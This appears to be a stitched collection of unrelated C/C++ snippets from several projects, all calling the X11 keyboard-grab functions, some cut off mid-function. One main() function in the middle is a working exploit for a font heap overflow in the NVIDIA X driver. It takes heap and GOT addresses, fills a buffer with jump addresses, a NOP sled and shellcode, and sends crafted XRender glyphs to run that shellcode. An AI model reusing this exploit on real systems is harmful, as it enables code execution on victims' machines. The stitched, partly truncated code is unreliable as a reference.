JNIEXPORT jint JNICALL Java_org_lwjgl_opengl_LinuxDisplay_nUngrabKeyboard(JNIEnv *env, jclass unused, jlong display_ptr) {
Display *disp = (Display *)(intptr_t)display_ptr;
return XUngrabKeyboard(disp, CurrentTime);
}
JNIEXPORT void JNICALL Java_sun_awt_X11_XlibWrapper_XUngrabKeyboard
(JNIEnv *env, jclass clazz, jlong display, jlong time)
{
AWT_CHECK_HAVE_LOCK();
XUngrabKeyboard( (Display *)display, (Time) time);
}
struct menu *
menu_filter(struct screen_ctx *sc, struct menu_q *menuq, char *prompt,
char *initial, int flags,
void (*match)(struct menu_q *, struct menu_q *, char *),
void (*print)(struct menu *, int))
{
struct menu_ctx mc;
struct menu_q resultq;
struct menu *mi = NULL;
XEvent e;
Window focuswin;
int evmask, focusrevert;
int xsave, ysave, xcur, ycur;
TAILQ_INIT(&resultq);
(void)memset(&mc, 0, sizeof(mc));
xu_ptr_getpos(sc->rootwin, &mc.x, &mc.y);
xsave = mc.x;
ysave = mc.y;
mc.sc = sc;
mc.flags = flags;
if (prompt != NULL) {
evmask = MENUMASK | KEYMASK; /* accept keys as well */
(void)strlcpy(mc.promptstr, prompt, sizeof(mc.promptstr));
mc.hasprompt = 1;
} else {
evmask = MENUMASK;
mc.list = 1;
}
if (initial != NULL)
(void)strlcpy(mc.searchstr, initial, sizeof(mc.searchstr));
else
mc.searchstr[0] = '\0';
mc.match = match;
mc.print = print;
mc.entry = mc.prev = -1;
XSelectInput(X_Dpy, sc->menuwin, evmask);
XMapRaised(X_Dpy, sc->menuwin);
if (xu_ptr_grab(sc->menuwin, MENUGRABMASK,
Conf.cursor[CF_QUESTION]) < 0) {
XUnmapWindow(X_Dpy, sc->menuwin);
return (NULL);
}
XGetInputFocus(X_Dpy, &focuswin, &focusrevert);
XSetInputFocus(X_Dpy, sc->menuwin, RevertToPointerRoot, CurrentTime);
/* make sure keybindings don't remove keys from the menu stream */
XGrabKeyboard(X_Dpy, sc->menuwin, True,
GrabModeAsync, GrabModeAsync, CurrentTime);
for (;;) {
mc.changed = 0;
XWindowEvent(X_Dpy, sc->menuwin, evmask, &e);
switch (e.type) {
case KeyPress:
if ((mi = menu_handle_key(&e, &mc, menuq, &resultq))
!= NULL)
goto out;
/* FALLTHROUGH */
case Expose:
menu_draw(&mc, menuq, &resultq);
break;
case MotionNotify:
menu_handle_move(&e, &mc, &resultq);
break;
case ButtonRelease:
if ((mi = menu_handle_release(&e, &mc, &resultq))
!= NULL)
goto out;
break;
default:
break;
}
}
out:
if ((mc.flags & CWM_MENU_DUMMY) == 0 && mi->dummy) {
/* no mouse based match */
free(mi);
mi = NULL;
}
XSetInputFocus(X_Dpy, focuswin, focusrevert, CurrentTime);
/* restore if user didn't move */
xu_ptr_getpos(sc->rootwin, &xcur, &ycur);
if (xcur == mc.x && ycur == mc.y)
xu_ptr_setpos(sc->rootwin, xsave, ysave);
xu_ptr_ungrab();
XMoveResizeWindow(X_Dpy, sc->menuwin, 0, 0, 1, 1);
XUnmapWindow(X_Dpy, sc->menuwin);
XUngrabKeyboard(X_Dpy, CurrentTime);
return (mi);
}
void fgPlatformLeaveGameMode( void )
{
XUngrabPointer( fgDisplay.pDisplay.Display, CurrentTime );
XUngrabKeyboard( fgDisplay.pDisplay.Display, CurrentTime );
}
int
main(int argc, char *argv[])
{
Display *display;
Widget toplevel;
XtAppContext app_con;
XEvent event;
char c, *string;
unsigned int i;
XDataStr *data;
XExposeEvent *expose = (XExposeEvent *)&event;
unsigned int heapaddr, gotaddr;
if (argc > 2)
{
heapaddr = strtoul(argv[1],NULL,0);
gotaddr = strtoul(argv[2],NULL,0);
}
else
{
printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
return 0;
}
toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
&argc, argv, NULL, NULL, 0);
display = XtDisplay(toplevel);
data = (XDataStr *)malloc(sizeof(XDataStr));
if (data == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
data->display = display;
data->app = app_con;
if (createWin(data) < 0) {
fprintf(stderr, "can't create Data Window");
exit(EXIT_FAILURE);
}
show(data);
signal(SIGINT, sigHandler);
signal(SIGHUP, sigHandler);
signal(SIGQUIT, sigHandler);
signal(SIGTERM, sigHandler);
/************************************************************************
* BEGIN FONT HEAP OVERFLOW SETUP CODE
*
* "It's so hard to write a graphics driver that open-sourcing it would
* not help."
* - Andrew Fear, Software Product Manager (NVIDIA Corporation).
**********************************************************************/
XGlyphInfo * glyphs;
XRenderPictFormat fmt;
XRenderPictFormat *mask = 0;
GlyphSet gset;
char * buf =0;
int offset, cr, numB;
int xscreenpos = 32680;
int magic_len = 32768 - xscreenpos;
int wr_addr_len = 3548;
int wr_nop_len = 200;
/* Calculate the offset to the Global Offset Table.
* 0x2C0000 is the size of the buffer the NVIDIA driver
* allocates for us when it is about to draw.
*/
offset = gotaddr-(heapaddr-0x2C0000);
offset += magic_len;
glyphs = malloc(sizeof(XGlyphInfo)*3);
/* Payload glyph */
glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
glyphs[0].height = 1;
glyphs[0].yOff = 0;
glyphs[0].xOff = glyphs[0].width;
glyphs[0].x = 0;
glyphs[0].y = 0;
/* Large offset glyph (untweaked) */
glyphs[1].width=0;
glyphs[1].height=0;
glyphs[1].yOff=32767;
glyphs[1].xOff=0;
glyphs[1].x = 0;
glyphs[1].y = 0;
/* Small offset glyph (tweaked) */
glyphs[2].width=0;
glyphs[2].height=0;
glyphs[2].yOff=0;
glyphs[2].xOff=0;
glyphs[2].x = 0;
glyphs[2].y = 0;
fmt.type = PictTypeDirect;
fmt.depth = 8;
Glyph * xglyphids = malloc(3*sizeof(Glyph));
xglyphids[0] = 'A';
xglyphids[1] = 'B';
xglyphids[2] = 'C';
int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
int bufsize = stride*glyphs[0].height;
buf = malloc(bufsize);
/* Write jump address to the buffer a number of times */
for (cr=0; cr<wr_addr_len; cr+=4)
{
*((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
}
/* Write the NOP instructions until wr_nop_len */
memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);
/* Write the shellcode */
cr+=wr_nop_len;
memcpy(buf+cr, shellcode, sizeof(shellcode));
/* Calculate the number of B's required to send */
numB = offset / (glyphs[1].yOff * magic_len);
/* We send only one C, but we change its yOff value according to
* how much space we have left before we meet the correct index length */
glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);
/* Now create a new buffer for the string data */
string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
for (cr=0; cr<numB; cr++) string[cr] = 'B';
string[cr] = 'C';
cr++;
string[cr] = 'A';
cr++;
string[cr] = 0;
mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
gset = XRenderCreateGlyphSet(display, mask);
if (mask)
{
/* Ask the server to tie the glyphs to the glyphset we created,
* with our addr/nopslide/shellcode buffer as the alpha data.
*/
XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
}
/* END FONT HEAP OVERFLOW SETUP CODE */
done = 0;
while (!done) {
XNextEvent(display, &event);
switch(event.type) {
case KeyPress:
i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
done = 1;
}
break;
case Expose:
XftDrawRect(data->draw, &data->bg,
expose->x, expose->y,
expose->width, expose->height);
/* Send malignant glyphs and execute shellcode on target */
XRenderCompositeString8(display, PictOpOver,
XftDrawSrcPicture(data->draw, &data->color),
XftDrawPicture(data->draw), mask, gset,
0, 0, xscreenpos, 0, string, strlen(string));
break;
}
}
free(glyphs);
free(xglyphids);
free(buf);
free(string);
XFlush(display);
XUnmapWindow(data->display, data->win);
XUngrabKeyboard(data->display, CurrentTime);
XCloseDisplay(display);
exit(EXIT_SUCCESS);
}
int
XMenuActivate(
register Display *display, /* Display to put menu on. */
register XMenu *menu, /* Menu to activate. */
int *p_num, /* Pane number selected. */
int *s_num, /* Selection number selected. */
int x_pos, /* X coordinate of menu position. */
int y_pos, /* Y coordinate of menu position. */
unsigned int event_mask, /* Mouse button event mask. */
char **data, /* Pointer to return data value. */
void (*help_callback) (char const *, int, int)) /* Help callback. */
{
int status; /* X routine call status. */
int orig_x; /* Upper left menu origin X coord. */
int orig_y; /* Upper left menu origin Y coord. */
int ret_val; /* Return value. */
register XMPane *p_ptr; /* Current XMPane. */
register XMPane *event_xmp; /* Event XMPane pointer. */
register XMPane *cur_p; /* Current pane. */
register XMSelect *cur_s; /* Current selection. */
XMWindow *event_xmw; /* Event XMWindow pointer. */
XEvent event; /* X input event. */
XEvent peek_event; /* X input peek ahead event. */
Bool selection = False; /* Selection has been made. */
Bool forward = True; /* Moving forward in the pane list. */
Window root, child;
int root_x, root_y, win_x, win_y;
unsigned int mask;
KeySym keysym;
/*
* Define and allocate a foreign event queue to hold events
* that don't belong to XMenu. These events are later restored
* to the X event queue.
*/
typedef struct _xmeventque {
XEvent event;
struct _xmeventque *next;
} XMEventQue;
XMEventQue *feq = NULL; /* Foreign event queue. */
XMEventQue *feq_tmp; /* Foreign event queue temporary. */
/*
* If there are no panes in the menu then return failure
* because the menu is not initialized.
*/
if (menu->p_count == 0) {
_XMErrorCode = XME_NOT_INIT;
return(XM_FAILURE);
}
/*
* Find the desired current pane.
*/
cur_p = _XMGetPanePtr(menu, *p_num);
if (cur_p == NULL) {
return(XM_FAILURE);
}
cur_p->activated = cur_p->active;
/*
* Find the desired current selection.
* If the current selection index is out of range a null current selection
* will be assumed and the cursor will be placed in the current pane
* header.
*/
cur_s = _XMGetSelectionPtr(cur_p, *s_num);
/*
* Compute origin of menu so that cursor is in
* Correct pane and selection.
*/
_XMTransToOrigin(display,
menu,
cur_p, cur_s,
x_pos, y_pos,
&orig_x, &orig_y);
menu->x_pos = orig_x; /* Store X and Y coords of menu. */
menu->y_pos = orig_y;
if (XMenuRecompute(display, menu) == XM_FAILURE) {
return(XM_FAILURE);
}
/*
* Flush the window creation queue.
* This batches all window creates since lazy evaluation
* is more efficient than individual evaluation.
* This routine also does an XFlush().
*/
if (_XMWinQueFlush(display, menu, cur_p, cur_s) == _FAILURE) {
return(XM_FAILURE);
}
/*
* Make sure windows are in correct order (in case we were passed
* an already created menu in incorrect order.)
*/
for(p_ptr = menu->p_list->next; p_ptr != cur_p; p_ptr = p_ptr->next)
XRaiseWindow(display, p_ptr->window);
for(p_ptr = menu->p_list->prev; p_ptr != cur_p->prev; p_ptr = p_ptr->prev)
XRaiseWindow(display, p_ptr->window);
/*
* Make sure all selection windows are mapped.
*/
for (
p_ptr = menu->p_list->next;
p_ptr != menu->p_list;
p_ptr = p_ptr->next
){
XMapSubwindows(display, p_ptr->window);
}
/*
* Synchronize the X buffers and the event queue.
* From here on, all events in the queue that don't belong to
* XMenu are sent back to the application via an application
* provided event handler or discarded if the application has
* not provided an event handler.
*/
XSync(display, 0);
/*
* Grab the mouse for menu input.
*/
status = XGrabPointer(
display,
menu->parent,
True,
event_mask,
GrabModeAsync,
GrabModeAsync,
None,
menu->mouse_cursor,
CurrentTime
);
if (status == Success && x_menu_grab_keyboard)
{
status = XGrabKeyboard (display,
menu->parent,
False,
GrabModeAsync,
GrabModeAsync,
CurrentTime);
if (status != Success)
XUngrabPointer(display, CurrentTime);
}
if (status == _X_FAILURE) {
_XMErrorCode = XME_GRAB_MOUSE;
return(XM_FAILURE);
}
/*
* Map the menu panes.
*/
XMapWindow(display, cur_p->window);
for (p_ptr = menu->p_list->next;
p_ptr != cur_p;
p_ptr = p_ptr->next)
XMapWindow(display, p_ptr->window);
for (p_ptr = cur_p->next;
p_ptr != menu->p_list;
p_ptr = p_ptr->next)
XMapWindow(display, p_ptr->window);
XRaiseWindow(display, cur_p->window); /* Make sure current */
/* pane is on top. */
cur_s = NULL; /* Clear current selection. */
/*
* Begin event processing loop.
*/
while (1) {
if (wait_func) (*wait_func) (wait_data);
XNextEvent(display, &event); /* Get next event. */
switch (event.type) { /* Dispatch on the event type. */
case Expose:
event_xmp = (XMPane *)XLookUpAssoc(display,
menu->assoc_tab,
event.xexpose.window);
if (event_xmp == NULL) {
/*
* If AEQ mode is enabled then queue the event.
*/
if (menu->aeq) {
feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue));
if (feq_tmp == NULL) {
_XMErrorCode = XME_CALLOC;
return(XM_FAILURE);
}
feq_tmp->event = event;
feq_tmp->next = feq;
feq = feq_tmp;
}
else if (_XMEventHandler) (*_XMEventHandler)(&event);
break;
}
if (event_xmp->activated) {
XSetWindowBackground(display,
event_xmp->window,
menu->bkgnd_color);
}
else {
XSetWindowBackgroundPixmap(display,
event_xmp->window,
menu->inact_pixmap);
}
_XMRefreshPane(display, menu, event_xmp);
break;
case EnterNotify:
/*
* First wait a small period of time, and see
* if another EnterNotify event follows hard on the
* heels of this one. i.e., the user is simply
* "passing through". If so, ignore this one.
*/
event_xmw = (XMWindow *)XLookUpAssoc(display,
menu->assoc_tab,
event.xcrossing.window);
if (event_xmw == NULL) break;
if (event_xmw->type == SELECTION) {
/*
* We have entered a selection.
*/
/* if (XPending(display) == 0) usleep(150000); */
if (XPending(display) != 0) {
XPeekEvent(display, &peek_event);
if(peek_event.type == LeaveNotify) {
break;
}
}
cur_s = (XMSelect *)event_xmw;
help_callback (cur_s->help_string,
cur_p->serial, cur_s->serial);
/*
* If the pane we are in is active and the
* selection entered is active then activate
* the selection.
*/
if (cur_p->active && cur_s->active > 0) {
cur_s->activated = 1;
_XMRefreshSelection(display, menu, cur_s);
}
}
else {
/*
* We have entered a pane.
*/
/* if (XPending(display) == 0) usleep(150000); */
if (XPending(display) != 0) {
XPeekEvent(display, &peek_event);
if (peek_event.type == EnterNotify) break;
}
XQueryPointer(display,
menu->parent,
&root, &child,
&root_x, &root_y,
&win_x, &win_y,
&mask);
event_xmp = (XMPane *)XLookUpAssoc(display,
menu->assoc_tab,
child);
if (event_xmp == NULL) break;
if (event_xmp == cur_p) break;
if (event_xmp->serial > cur_p->serial) forward = True;
else forward = False;
p_ptr = cur_p;
while (p_ptr != event_xmp) {
if (forward) p_ptr = p_ptr->next;
else p_ptr = p_ptr->prev;
XRaiseWindow(display, p_ptr->window);
}
if (cur_p->activated) {
cur_p->activated = False;
XSetWindowBackgroundPixmap(display,
cur_p->window,
menu->inact_pixmap);
_XMRefreshPane(display, menu, cur_p);
}
if (event_xmp->active) event_xmp->activated = True;
#if 1
/*
* i suspect the we don't get an EXPOSE event when backing
* store is enabled; the menu windows content is probably
* not drawn in when it should be in that case.
* in that case, this is probably an ugly fix!
* i hope someone more familiar with this code would
* take it from here. -- [email protected].
*/
XSetWindowBackground(display,
event_xmp->window,
menu->bkgnd_color);
_XMRefreshPane(display, menu, event_xmp);
#endif
cur_p = event_xmp;
}
break;
case LeaveNotify:
event_xmw = (XMWindow *)XLookUpAssoc(
display,
menu->assoc_tab,
event.xcrossing.window
);
if (event_xmw == NULL) break;
if(cur_s == NULL) break;
/*
* If the current selection was activated then
* deactivate it.
*/
if (cur_s->activated) {
cur_s->activated = False;
_XMRefreshSelection(display, menu, cur_s);
}
cur_s = NULL;
break;
case ButtonPress:
case ButtonRelease:
*p_num = cur_p->serial;
/*
* Check to see if there is a current selection.
*/
if (cur_s != NULL) {
/*
* Set the selection number to the current selection.
*/
*s_num = cur_s->serial;
/*
* If the current selection was activated then
* we have a valid selection otherwise we have
* an inactive selection.
*/
if (cur_s->activated) {
*data = cur_s->data;
ret_val = XM_SUCCESS;
}
else {
ret_val = XM_IA_SELECT;
}
}
else {
/*
* No selection was current.
*/
ret_val = XM_NO_SELECT;
}
selection = True;
break;
case KeyPress:
case KeyRelease:
keysym = XLookupKeysym (&event.xkey, 0);
/* Pop down on C-g and Escape. */
if ((keysym == XK_g && (event.xkey.state & ControlMask) != 0)
|| keysym == XK_Escape) /* Any escape, ignore modifiers. */
{
ret_val = XM_NO_SELECT;
selection = True;
}
break;
default:
/*
* If AEQ mode is enabled then queue the event.
*/
if (menu->aeq) {
feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue));
if (feq_tmp == NULL) {
_XMErrorCode = XME_CALLOC;
return(XM_FAILURE);
}
feq_tmp->event = event;
feq_tmp->next = feq;
feq = feq_tmp;
}
else if (_XMEventHandler) (*_XMEventHandler)(&event);
}
/*
* If a selection has been made, break out of the event loop.
*/
if (selection == True) break;
}
/*
* Unmap the menu.
*/
for ( p_ptr = menu->p_list->next;
p_ptr != menu->p_list;
p_ptr = p_ptr->next)
{
XUnmapWindow(display, p_ptr->window);
}
/*
* Ungrab the mouse.
*/
XUngrabPointer(display, CurrentTime);
XUngrabKeyboard(display, CurrentTime);
/*
* Restore bits under where the menu was if we managed
* to save them and free the pixmap.
*/
/*
* If there is a current selection deactivate it.
*/
if (cur_s != NULL) cur_s->activated = 0;
/*
* Deactivate the current pane.
*/
cur_p->activated = 0;
XSetWindowBackgroundPixmap(display, cur_p->window, menu->inact_pixmap);
/*
* Synchronize the X buffers and the X event queue.
*/
XSync(display, 0);
/*
* Dispatch any events remaining on the queue.
*/
while (QLength(display)) {
/*
* Fetch the next event.
*/
XNextEvent(display, &event);
/*
* Discard any events left on the queue that belong to XMenu.
* All others are held and then returned to the event queue.
*/
switch (event.type) {
case Expose:
case EnterNotify:
case LeaveNotify:
case ButtonPress:
case ButtonRelease:
/*
* Does this event belong to one of XMenu's windows?
* If so, discard it and process the next event.
* If not fall through and treat it as a foreign event.
*/
event_xmp = (XMPane *)XLookUpAssoc(
display,
menu->assoc_tab,
event.xbutton.window
);
if (event_xmp != NULL) continue;
default:
/*
* This is a foreign event.
* Queue it for later return to the X event queue.
*/
feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue));
if (feq_tmp == NULL) {
_XMErrorCode = XME_CALLOC;
return(XM_FAILURE);
}
feq_tmp->event = event;
feq_tmp->next = feq;
feq = feq_tmp;
}
}
/*
* Return any foreign events that were queued to the X event queue.
*/
while (feq != NULL) {
feq_tmp = feq;
XPutBackEvent(display, &feq_tmp->event);
feq = feq_tmp->next;
free((char *)feq_tmp);
}
wait_func = 0;
/*
* Return successfully.
*/
_XMErrorCode = XME_NO_ERROR;
return(ret_val);
}
static void install_grabs( void )
{
int res;
int fevent;
assert( x11display.dpy && x11display.win );
if( !x11display.features.wmStateFullscreen )
{
res = XGrabKeyboard( x11display.dpy, x11display.win, False, GrabModeAsync, GrabModeAsync, CurrentTime );
if( res != GrabSuccess )
{
Com_Printf( "Warning: XGrabKeyboard failed\n" );
return;
}
}
XDefineCursor( x11display.dpy, x11display.win, CreateNullCursor( x11display.dpy, x11display.win ) );
res = XGrabPointer( x11display.dpy, x11display.win, True, 0, GrabModeAsync, GrabModeAsync, x11display.win, None, CurrentTime );
if( res != GrabSuccess )
{
// TODO: Find a solution to Pointer Grabs at focus changes, which sometimes result
// in Grabbing Errors. Like switches from Windowed/Fullscreen to Hidden State.
//Com_Printf( "Warning: XGrabPointer failed\n" );
XUngrabKeyboard( x11display.dpy, CurrentTime );
XUndefineCursor( x11display.dpy, x11display.win );
return;
}
if( in_dgamouse->integer )
{
int MajorVersion, MinorVersion;
if( XF86DGAQueryVersion( x11display.dpy, &MajorVersion, &MinorVersion ) )
{
XF86DGADirectVideo( x11display.dpy, x11display.scr, XF86DGADirectMouse );
XWarpPointer( x11display.dpy, None, x11display.win, 0, 0, 0, 0,
x11display.win_width/2, x11display.win_height/2 );
dgamouse = qtrue;
}
else
{
// unable to query, probalby not supported
Com_Printf( "Failed to detect XF86DGA Mouse\n" );
Cvar_Set( "in_dgamouse", "0" );
dgamouse = qfalse;
}
}
else
{
XWarpPointer( x11display.dpy, None, x11display.win, 0, 0, 0, 0,
x11display.win_width/2, x11display.win_height/2 );
}
ignore_one = qtrue; // first mouse update after install_grabs is ignored
mx = my = 0;
mouse_active = qtrue;
in_dgamouse->modified = qfalse;
input_active = qtrue;
// init X Input method, needed by Xutf8LookupString
x11display.im = XOpenIM( x11display.dpy, NULL, NULL, NULL );
x11display.ic = XCreateIC( x11display.im,
XNInputStyle, XIMPreeditNothing | XIMStatusNothing,
XNClientWindow, x11display.win,
NULL );
if ( x11display.ic )
{
XGetICValues( x11display.ic, XNFilterEvents, &fevent, NULL );
XSelectInput( x11display.dpy, x11display.win, fevent | x11display.wa.event_mask );
}
}
void AnalyzeKeyEvent(int pad, keyEvent &evt)
{
KeySym key = (KeySym)evt.key;
int index = get_keyboard_key(pad, key);
switch (evt.evt)
{
case KeyPress:
// Shift F12 is not yet use by pcsx2. So keep it to grab/ungrab input
// I found it very handy vs the automatic fullscreen detection
// 1/ Does not need to detect full-screen
// 2/ Can use a debugger in full-screen
// 3/ Can grab input in window without the need of a pixelated full-screen
if (key == XK_Shift_R || key == XK_Shift_L) s_Shift = true;
if (key == XK_F12 && s_Shift) {
if(!s_grab_input) {
s_grab_input = true;
XGrabPointer(GSdsp, GSwin, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, GSwin, None, CurrentTime);
XGrabKeyboard(GSdsp, GSwin, True, GrabModeAsync, GrabModeAsync, CurrentTime);
} else {
s_grab_input = false;
XUngrabPointer(GSdsp, CurrentTime);
XUngrabKeyboard(GSdsp, CurrentTime);
}
}
// Analog controls.
if (IsAnalogKey(index))
{
switch (index)
{
case PAD_R_LEFT:
case PAD_R_UP:
case PAD_L_LEFT:
case PAD_L_UP:
key_status->press(pad, index, -MAX_ANALOG_VALUE);
break;
case PAD_R_RIGHT:
case PAD_R_DOWN:
case PAD_L_RIGHT:
case PAD_L_DOWN:
key_status->press(pad, index, MAX_ANALOG_VALUE);
break;
}
} else if (index != -1)
key_status->press(pad, index);
//PAD_LOG("Key pressed:%d\n", index);
event.evt = KEYPRESS;
event.key = key;
break;
case KeyRelease:
if (key == XK_Shift_R || key == XK_Shift_L) s_Shift = false;
if (index != -1)
key_status->release(pad, index);
event.evt = KEYRELEASE;
event.key = key;
break;
case FocusIn:
//XAutoRepeatOff(GSdsp);
break;
case FocusOut:
//XAutoRepeatOn(GSdsp);
s_Shift = false;
break;
case ButtonPress:
if (index != -1)
key_status->press(pad, index);
break;
case ButtonRelease:
if (index != -1)
key_status->release(pad, index);
break;
case MotionNotify:
// FIXME: How to handle when the mouse does not move, no event generated!!!
// 1/ small move == no move. Cons : can not do small movement
// 2/ use a watchdog timer thread
// 3/ ??? idea welcome ;)
if (conf->pad_options[pad].mouse_l|conf->pad_options[pad].mouse_r) {
unsigned int pad_x;
unsigned int pad_y;
// Note when both PADOPTION_MOUSE_R and PADOPTION_MOUSE_L are set, take only the right one
if (conf->pad_options[pad].mouse_r) {
pad_x = PAD_R_RIGHT;
pad_y = PAD_R_UP;
} else {
pad_x = PAD_L_RIGHT;
pad_y = PAD_L_UP;
}
unsigned x = evt.key & 0xFFFF;
unsigned int value = (s_previous_mouse_x > x) ? s_previous_mouse_x - x : x - s_previous_mouse_x;
value *= conf->get_sensibility();
if (x == 0)
key_status->press(pad, pad_x, -MAX_ANALOG_VALUE);
else if (x == 0xFFFF)
key_status->press(pad, pad_x, MAX_ANALOG_VALUE);
else if (x < (s_previous_mouse_x -2))
key_status->press(pad, pad_x, -value);
else if (x > (s_previous_mouse_x +2))
key_status->press(pad, pad_x, value);
else
key_status->release(pad, pad_x);
unsigned y = evt.key >> 16;
value = (s_previous_mouse_y > y) ? s_previous_mouse_y - y : y - s_previous_mouse_y;
value *= conf->get_sensibility();
if (y == 0)
key_status->press(pad, pad_y, -MAX_ANALOG_VALUE);
else if (y == 0xFFFF)
key_status->press(pad, pad_y, MAX_ANALOG_VALUE);
else if (y < (s_previous_mouse_y -2))
key_status->press(pad, pad_y, -value);
else if (y > (s_previous_mouse_y +2))
key_status->press(pad, pad_y, value);
else
key_status->release(pad, pad_y);
s_previous_mouse_x = x;
s_previous_mouse_y = y;
}
break;
}
LOCAL_SYMBOL gboolean
meta_begin_modal_for_plugin (MetaScreen *screen,
MetaPlugin *plugin,
Window grab_window,
Cursor cursor,
MetaModalOptions options,
guint32 timestamp)
{
/* To some extent this duplicates code in meta_display_begin_grab_op(), but there
* are significant differences in how we handle grabs that make it difficult to
* merge the two.
*/
MetaDisplay *display = meta_screen_get_display (screen);
Display *xdpy = meta_display_get_xdisplay (display);
MetaCompositor *compositor = display->compositor;
gboolean pointer_grabbed = FALSE;
gboolean keyboard_grabbed = FALSE;
int result;
if (compositor->modal_plugin != NULL || display->grab_op != META_GRAB_OP_NONE)
return FALSE;
if ((options & META_MODAL_POINTER_ALREADY_GRABBED) == 0)
{
result = XGrabPointer (xdpy, grab_window,
False, /* owner_events */
(ButtonPressMask | ButtonReleaseMask |
EnterWindowMask | LeaveWindowMask | PointerMotionMask),
GrabModeAsync, GrabModeAsync,
None, /* confine to */
cursor,
timestamp);
if (result != Success)
goto fail;
pointer_grabbed = TRUE;
}
if ((options & META_MODAL_KEYBOARD_ALREADY_GRABBED) == 0)
{
result = XGrabKeyboard (xdpy, grab_window,
False, /* owner_events */
GrabModeAsync, GrabModeAsync,
timestamp);
if (result != Success)
goto fail;
keyboard_grabbed = TRUE;
}
display->grab_op = META_GRAB_OP_COMPOSITOR;
display->grab_window = NULL;
display->grab_screen = screen;
display->grab_have_pointer = TRUE;
display->grab_have_keyboard = TRUE;
compositor->modal_plugin = plugin;
return TRUE;
fail:
if (pointer_grabbed)
XUngrabPointer (xdpy, timestamp);
if (keyboard_grabbed)
XUngrabKeyboard (xdpy, timestamp);
return FALSE;
}
static void
global_filter_fn (XEvent *xevent, void *data)
{
SpiDEController *controller;
DEControllerPrivateData *priv;
Display *display = spi_get_display ();
controller = SPI_DEVICE_EVENT_CONTROLLER (data);
priv = controller->priv;
if (xevent->type == MappingNotify)
xmkeymap = NULL;
if (xevent->type == KeyPress || xevent->type == KeyRelease)
{
if (priv->xevie_display == NULL)
{
gboolean is_consumed;
is_consumed =
spi_device_event_controller_forward_key_event (controller, xevent);
if (is_consumed)
{
int n_events;
int i;
XEvent next_event;
n_events = XPending (display);
#ifdef SPI_KEYEVENT_DEBUG
g_print ("Number of events pending: %d\n", n_events);
#endif
for (i = 0; i < n_events; i++)
{
XNextEvent (display, &next_event);
if (next_event.type != KeyPress &&
next_event.type != KeyRelease)
g_warning ("Unexpected event type %d in queue", next_event.type);
}
XAllowEvents (display, AsyncKeyboard, CurrentTime);
if (n_events)
XUngrabKeyboard (display, CurrentTime);
}
else
{
if (xevent->type == KeyPress)
wait_for_release_event (xevent, controller);
XAllowEvents (display, ReplayKeyboard, CurrentTime);
}
}
return;
}
if (xevent->type == ButtonPress || xevent->type == ButtonRelease)
{
spi_device_event_controller_forward_mouse_event (controller, xevent);
}
if (xevent->type == priv->xkb_base_event_code)
{
XkbAnyEvent * xkb_ev = (XkbAnyEvent *) xevent;
/* ugly but probably necessary...*/
XSynchronize (display, TRUE);
if (xkb_ev->xkb_type == XkbStateNotify)
{
XkbStateNotifyEvent *xkb_snev =
(XkbStateNotifyEvent *) xkb_ev;
/* check the mouse, to catch mouse events grabbed by
* another client; in case we should revert this XKB delatch
*/
if (!priv->pending_xkb_mod_relatch_mask)
{
int x, y;
gboolean moved;
spi_dec_x11_mouse_check (controller, &x, &y, &moved);
}
/* we check again, since the previous call may have
changed this flag */
if (priv->pending_xkb_mod_relatch_mask)
{
unsigned int feedback_mask;
#ifdef SPI_XKB_DEBUG
fprintf (stderr, "relatching %x\n",
priv->pending_xkb_mod_relatch_mask);
#endif
/* temporarily turn off the latch bell, if it's on */
XkbGetControls (display,
XkbAccessXFeedbackMask,
priv->xkb_desc);
feedback_mask = priv->xkb_desc->ctrls->ax_options;
if (feedback_mask & XkbAX_StickyKeysFBMask)
{
XkbControlsChangesRec changes = {XkbAccessXFeedbackMask,
0, False};
priv->xkb_desc->ctrls->ax_options
&= ~(XkbAX_StickyKeysFBMask);
XkbChangeControls (display, priv->xkb_desc, &changes);
}
/* TODO: account for lock as well as latch */
XkbLatchModifiers (display,
XkbUseCoreKbd,
priv->pending_xkb_mod_relatch_mask,
priv->pending_xkb_mod_relatch_mask);
if (feedback_mask & XkbAX_StickyKeysFBMask)
{
XkbControlsChangesRec changes = {XkbAccessXFeedbackMask,
0, False};
priv->xkb_desc->ctrls->ax_options = feedback_mask;
XkbChangeControls (display, priv->xkb_desc, &changes);
}
#ifdef SPI_XKB_DEBUG
fprintf (stderr, "relatched %x\n",
priv->pending_xkb_mod_relatch_mask);
#endif
priv->pending_xkb_mod_relatch_mask = 0;
}
else
{
priv->xkb_latch_mask = xkb_snev->latched_mods;
}
}
XSynchronize (display, FALSE);
}
return;
}
